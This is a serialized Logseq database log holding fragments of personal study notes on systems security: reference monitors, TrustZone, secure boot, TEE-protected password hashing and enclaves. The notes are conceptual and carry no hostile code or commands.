operationslogseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[940,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[940,logseq____&quot;^Flogseq____&quot;,937,536878168]],[logseq____&quot;^15logseq____&quot;,[940,logseq____&quot;^Xlogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[940,logseq____&quot;^Vlogseq____&quot;,944,536878168]],[logseq____&quot;^15logseq____&quot;,[940,logseq____&quot;^Ulogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[940,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-001f-4bcc-9594-c6f123563fd5logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[941,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Inlined reference monitor shares same process space as untrusted monitored code (malicious code can disable/modify reference monitor)logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[941,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[941,logseq____&quot;^Flogseq____&quot;,911,536878168]],[logseq____&quot;^15logseq____&quot;,[941,logseq____&quot;^Xlogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[941,logseq____&quot;^Vlogseq____&quot;,911,536878168]],[logseq____&quot;^15logseq____&quot;,[941,logseq____&quot;^Ulogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[941,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-b85f-4271-a97d-a1295b785753logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[942,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Communication partly runs over [[Binder IPC]] oder syscalls via/to Kernellogseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[942,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[942,logseq____&quot;^Flogseq____&quot;,913,536878168]],[logseq____&quot;^15logseq____&quot;,[942,logseq____&quot;^Xlogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[942,logseq____&quot;^Vlogseq____&quot;,913,536878168]],[logseq____&quot;^15logseq____&quot;,[942,logseq____&quot;^Ulogseq____&quot;,413,536878168]],[logseq____&quot;^15logseq____&quot;,[942,logseq____&quot;^Ulogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[942,logseq____&quot;^Hlogseq____&quot;,413,536878168]],[logseq____&quot;^15logseq____&quot;,[942,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-1f5b-4762-877d-30271f96a9e1logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[943,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Should be performed at OS/Middleware layerlogseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[943,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[943,logseq____&quot;^Flogseq____&quot;,919,536878168]],[logseq____&quot;^15logseq____&quot;,[943,logseq____&quot;^Xlogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[943,logseq____&quot;^Vlogseq____&quot;,919,536878168]],[logseq____&quot;^15logseq____&quot;,[943,logseq____&quot;^Ulogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[943,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-f210-4598-84d1-57c13fd5e18elogseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[944,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Implementationlogseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[944,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[944,logseq____&quot;^Flogseq____&quot;,933,536878168]],[logseq____&quot;^15logseq____&quot;,[944,logseq____&quot;^Xlogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[944,logseq____&quot;^Vlogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[944,logseq____&quot;^Ulogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[944,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536878168]],[logseq____&quot;^15logseq____&quot;,[944,logseq____&quot;^Jlogseq____&quot;,[],536878168]],[logseq____&quot;^15logseq____&quot;,[944,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-1af5-46d8-9ebe-ba899dea150clogseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[945,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Inject libraries into processes or apps, pre-loading to inject libslogseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[945,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[945,logseq____&quot;^Flogseq____&quot;,940,536878168]],[logseq____&quot;^15logseq____&quot;,[945,logseq____&quot;^Xlogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[945,logseq____&quot;^Vlogseq____&quot;,944,536878168]],[logseq____&quot;^15logseq____&quot;,[945,logseq____&quot;^Ulogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[945,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-34ae-48da-a775-fff3ef6e0a7blogseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[946,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Does not trivially deal with reflectionlogseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[946,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[946,logseq____&quot;^Flogseq____&quot;,936,536878168]],[logseq____&quot;^15logseq____&quot;,[946,logseq____&quot;^Xlogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[946,logseq____&quot;^Vlogseq____&quot;,927,536878168]],[logseq____&quot;^15logseq____&quot;,[946,logseq____&quot;^Ulogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[946,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-946f-4010-9ea7-9ee48ecb284clogseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[947,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Add Monitors into end-pointslogseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[947,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[947,logseq____&quot;^Flogseq____&quot;,942,536878168]],[logseq____&quot;^15logseq____&quot;,[947,logseq____&quot;^Xlogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[947,logseq____&quot;^Vlogseq____&quot;,913,536878168]],[logseq____&quot;^15logseq____&quot;,[947,logseq____&quot;^Ulogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[947,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-3b8c-4e2a-8aaf-053284e60720logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[949,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Architectureslogseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[949,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[949,logseq____&quot;^Flogseq____&quot;,975,536878170]],[logseq____&quot;^15logseq____&quot;,[949,logseq____&quot;^Xlogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[949,logseq____&quot;^Vlogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[949,logseq____&quot;^Ulogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[949,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536878170]],[logseq____&quot;^15logseq____&quot;,[949,logseq____&quot;^Jlogseq____&quot;,[],536878170]],[logseq____&quot;^15logseq____&quot;,[949,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-022f-404e-a535-2a92c40f9e40logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[950,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Load Code from on-chip ROM to on-chip RAM and derive new key\\nlogseq.order-list-type:: numberlogseq____&quot;,536878197]],[logseq____&quot;^15logseq____&quot;,[950,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[950,logseq____&quot;^Flogseq____&quot;,982,536878200]],[logseq____&quot;^15logseq____&quot;,[950,logseq____&quot;^Xlogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[950,logseq____&quot;^Vlogseq____&quot;,966,536878170]],[logseq____&quot;^15logseq____&quot;,[950,logseq____&quot;^Ulogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[950,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^19logseq____&quot;,logseq____&quot;numberlogseq____&quot;],536878197]],[logseq____&quot;^15logseq____&quot;,[950,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[logseq____&quot;^19logseq____&quot;]],536878197]],[logseq____&quot;^15logseq____&quot;,[950,logseq____&quot;^4logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^19logseq____&quot;,logseq____&quot;numberlogseq____&quot;],536878197]],[logseq____&quot;^15logseq____&quot;,[950,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-a557-4b56-ab1f-025491d04f11logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[951,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## TrustZone A\\nid:: 67bcb625-9bbb-4256-a567-07ba13eec231logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[951,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[951,logseq____&quot;^Flogseq____&quot;,949,536878170]],[logseq____&quot;^15logseq____&quot;,[951,logseq____&quot;^Xlogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[951,logseq____&quot;^Vlogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[951,logseq____&quot;^Ulogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[951,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;67bcb625-9bbb-4256-a567-07ba13eec231logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536878170]],[logseq____&quot;^15logseq____&quot;,[951,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^18logseq____&quot;],536878170]],[logseq____&quot;^15logseq____&quot;,[951,logseq____&quot;^4logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;67bcb625-9bbb-4256-a567-07ba13eec231logseq____&quot;],536878170]],[logseq____&quot;^15logseq____&quot;,[951,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bcb625-9bbb-4256-a567-07ba13eec231logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[952,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Integrity of operationlogseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[952,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[952,logseq____&quot;^Flogseq____&quot;,969,536878170]],[logseq____&quot;^15logseq____&quot;,[952,logseq____&quot;^Xlogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[952,logseq____&quot;^Vlogseq____&quot;,979,536878170]],[logseq____&quot;^15logseq____&quot;,[952,logseq____&quot;^Ulogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[952,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-0cd5-4d52-9df3-211ea1c4351clogseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[953,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;((67bcb625-9bbb-4256-a567-07ba13eec231)) (Phones): Access restricted to vendor and OS software with limited API access to developerslogseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[953,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[953,logseq____&quot;^Flogseq____&quot;,949,536878170]],[logseq____&quot;^15logseq____&quot;,[953,logseq____&quot;^Xlogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[953,logseq____&quot;^Vlogseq____&quot;,949,536878170]],[logseq____&quot;^15logseq____&quot;,[953,logseq____&quot;^Ulogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[953,logseq____&quot;^Hlogseq____&quot;,951,536878170]],[logseq____&quot;^15logseq____&quot;,[953,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-e2e7-4d5d-a242-097218ddafcalogseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[954,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;TrustZone M (Sensors): tailored to IoT deviceslogseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[954,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[954,logseq____&quot;^Flogseq____&quot;,953,536878170]],[logseq____&quot;^15logseq____&quot;,[954,logseq____&quot;^Xlogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[954,logseq____&quot;^Vlogseq____&quot;,949,536878170]],[logseq____&quot;^15logseq____&quot;,[954,logseq____&quot;^Ulogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[954,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-5d34-45fc-b537-3a8d6ed7a61alogseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[955,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Single world vs multiple worldlogseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[955,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[955,logseq____&quot;^Flogseq____&quot;,965,536878170]],[logseq____&quot;^15logseq____&quot;,[955,logseq____&quot;^Xlogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[955,logseq____&quot;^Vlogseq____&quot;,979,536878170]],[logseq____&quot;^15logseq____&quot;,[955,logseq____&quot;^Ulogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[955,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-be86-49dd-bef1-cb31b1ac0d45logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[956,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;![image.png](../assets/image_1740421018486_0.png)logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[956,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[956,logseq____&quot;^Flogseq____&quot;,977,536878170]],[logseq____&quot;^15logseq____&quot;,[956,logseq____&quot;^Xlogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[956,logseq____&quot;^Vlogseq____&quot;,951,536878170]],[logseq____&quot;^15logseq____&quot;,[956,logseq____&quot;^Ulogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[956,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-786d-4815-aa30-ab3b36473bb1logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[957,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Allows for unlocking (install custom images): Only OS signed with embedded verification key can start if lockedlogseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[957,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[957,logseq____&quot;^Flogseq____&quot;,983,536878237]],[logseq____&quot;^15logseq____&quot;,[957,logseq____&quot;^Xlogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[957,logseq____&quot;^Vlogseq____&quot;,980,536878170]],[logseq____&quot;^15logseq____&quot;,[957,logseq____&quot;^Ulogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[957,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-048d-4733-98df-9aefcd0a564elogseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[958,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Hosts mobile security features (SIMLock, IMEI protection, Android KeyMaster)logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[958,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[958,logseq____&quot;^Flogseq____&quot;,970,536878170]],[logseq____&quot;^15logseq____&quot;,[958,logseq____&quot;^Xlogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[958,logseq____&quot;^Vlogseq____&quot;,951,536878170]],[logseq____&quot;^15logseq____&quot;,[958,logseq____&quot;^Ulogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[958,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-e06a-44e2-8989-b6cd4cc7a576logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[959,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Chain of trust from hardware bootloader to bootloader to boot partition and other verified partitionslogseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[959,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[959,logseq____&quot;^Flogseq____&quot;,980,536878170]],[logseq____&quot;^15logseq____&quot;,[959,logseq____&quot;^Xlogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[959,logseq____&quot;^Vlogseq____&quot;,980,536878170]],[logseq____&quot;^15logseq____&quot;,[959,logseq____&quot;^Ulogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[959,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-03c9-4bf6-93a5-207ce987d0a7logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[961,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;![image.png](../assets/image_1740421583971_0.png)logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[961,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[961,logseq____&quot;^Flogseq____&quot;,972,536878170]],[logseq____&quot;^15logseq____&quot;,[961,logseq____&quot;^Xlogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[961,logseq____&quot;^Vlogseq____&quot;,972,536878170]],[logseq____&quot;^15logseq____&quot;,[961,logseq____&quot;^Ulogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[961,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-62f3-4216-bdee-03c0f070aa4alogseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[962,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Key cannot be stolen =logseq____&gt; complexity of breaking CMAC == Complexity of breaking CMAClogseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[962,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[962,logseq____&quot;^Flogseq____&quot;,967,536878170]],[logseq____&quot;^15logseq____&quot;,[962,logseq____&quot;^Xlogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[962,logseq____&quot;^Vlogseq____&quot;,964,536878170]],[logseq____&quot;^15logseq____&quot;,[962,logseq____&quot;^Ulogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[962,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-90a0-4c92-a9fa-5b7252d5300dlogseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[963,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Configure address controller\\nlogseq.order-list-type:: numberlogseq____&quot;,536878213]],[logseq____&quot;^15logseq____&quot;,[963,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[963,logseq____&quot;^Flogseq____&quot;,950,536878170]],[logseq____&quot;^15logseq____&quot;,[963,logseq____&quot;^Xlogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[963,logseq____&quot;^Vlogseq____&quot;,966,536878170]],[logseq____&quot;^15logseq____&quot;,[963,logseq____&quot;^Ulogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[963,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^19logseq____&quot;,logseq____&quot;numberlogseq____&quot;],536878213]],[logseq____&quot;^15logseq____&quot;,[963,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[logseq____&quot;^19logseq____&quot;]],536878213]],[logseq____&quot;^15logseq____&quot;,[963,logseq____&quot;^4logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^19logseq____&quot;,logseq____&quot;numberlogseq____&quot;],536878213]],[logseq____&quot;^15logseq____&quot;,[963,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-e471-4559-b3f5-59143370715alogseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[964,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Keyed-password hashes with TEElogseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[964,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[964,logseq____&quot;^Flogseq____&quot;,979,536878170]],[logseq____&quot;^15logseq____&quot;,[964,logseq____&quot;^Xlogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[964,logseq____&quot;^Vlogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[964,logseq____&quot;^Ulogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[964,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536878170]],[logseq____&quot;^15logseq____&quot;,[964,logseq____&quot;^Jlogseq____&quot;,[],536878170]],[logseq____&quot;^15logseq____&quot;,[964,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-aa32-43eb-9dd4-a28d7026a83flogseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[965,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Access to secretslogseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[965,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[965,logseq____&quot;^Flogseq____&quot;,952,536878170]],[logseq____&quot;^15logseq____&quot;,[965,logseq____&quot;^Xlogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[965,logseq____&quot;^Vlogseq____&quot;,979,536878170]],[logseq____&quot;^15logseq____&quot;,[965,logseq____&quot;^Ulogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[965,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-1c99-4402-8364-3658d368ff98logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[966,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Secure Boot:logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[966,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[966,logseq____&quot;^Flogseq____&quot;,974,536878170]],[logseq____&quot;^15logseq____&quot;,[966,logseq____&quot;^Xlogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[966,logseq____&quot;^Vlogseq____&quot;,951,536878170]],[logseq____&quot;^15logseq____&quot;,[966,logseq____&quot;^Ulogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[966,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536878170]],[logseq____&quot;^15logseq____&quot;,[966,logseq____&quot;^Jlogseq____&quot;,[],536878170]],[logseq____&quot;^15logseq____&quot;,[966,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-feeb-4b4b-b829-59eba3191209logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[967,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Key protected in TEElogseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[967,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[967,logseq____&quot;^Flogseq____&quot;,978,536878170]],[logseq____&quot;^15logseq____&quot;,[967,logseq____&quot;^Xlogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[967,logseq____&quot;^Vlogseq____&quot;,964,536878170]],[logseq____&quot;^15logseq____&quot;,[967,logseq____&quot;^Ulogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[967,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-c651-4b3a-9993-6db39e6ef819logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[968,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Setup enclaves fo rtrusted execution\\nlogseq.order-list-type:: numberlogseq____&quot;,536878225]],[logseq____&quot;^15logseq____&quot;,[968,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[968,logseq____&quot;^Flogseq____&quot;,981,536878170]],[logseq____&quot;^15logseq____&quot;,[968,logseq____&quot;^Xlogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[968,logseq____&quot;^Vlogseq____&quot;,966,536878170]],[logseq____&quot;^15logseq____&quot;,[968,logseq____&quot;^Ulogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[968,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^19logseq____&quot;,logseq____&quot;numberlogseq____&quot;],536878225]],[logseq____&quot;^15logseq____&quot;,[968,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[logseq____&quot;^19logseq____&quot;]],536878225]],[logseq____&quot;^15logseq____&quot;,[968,logseq____&quot;^4logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^19logseq____&quot;,logseq____&quot;numberlogseq____&quot;],536878225]],[logseq____&quot;^15logseq____&quot;,[968,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-87a4-4de3-b709-578522328868logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[969,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Hardware-assisted isolated executionlogseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[969,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[969,logseq____&quot;^Flogseq____&quot;,979,536878170]],[logseq____&quot;^15logseq____&quot;,[969,logseq____&quot;^Xlogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[969,logseq____&quot;^Vlogseq____&quot;,979,536878170]],[logseq____&quot;^15logseq____&quot;,[969,logseq____&quot;^Ulogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[969,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-ae4b-4c67-b8af-bce4d820d62dlogseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[970,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Baseline for TEEs in 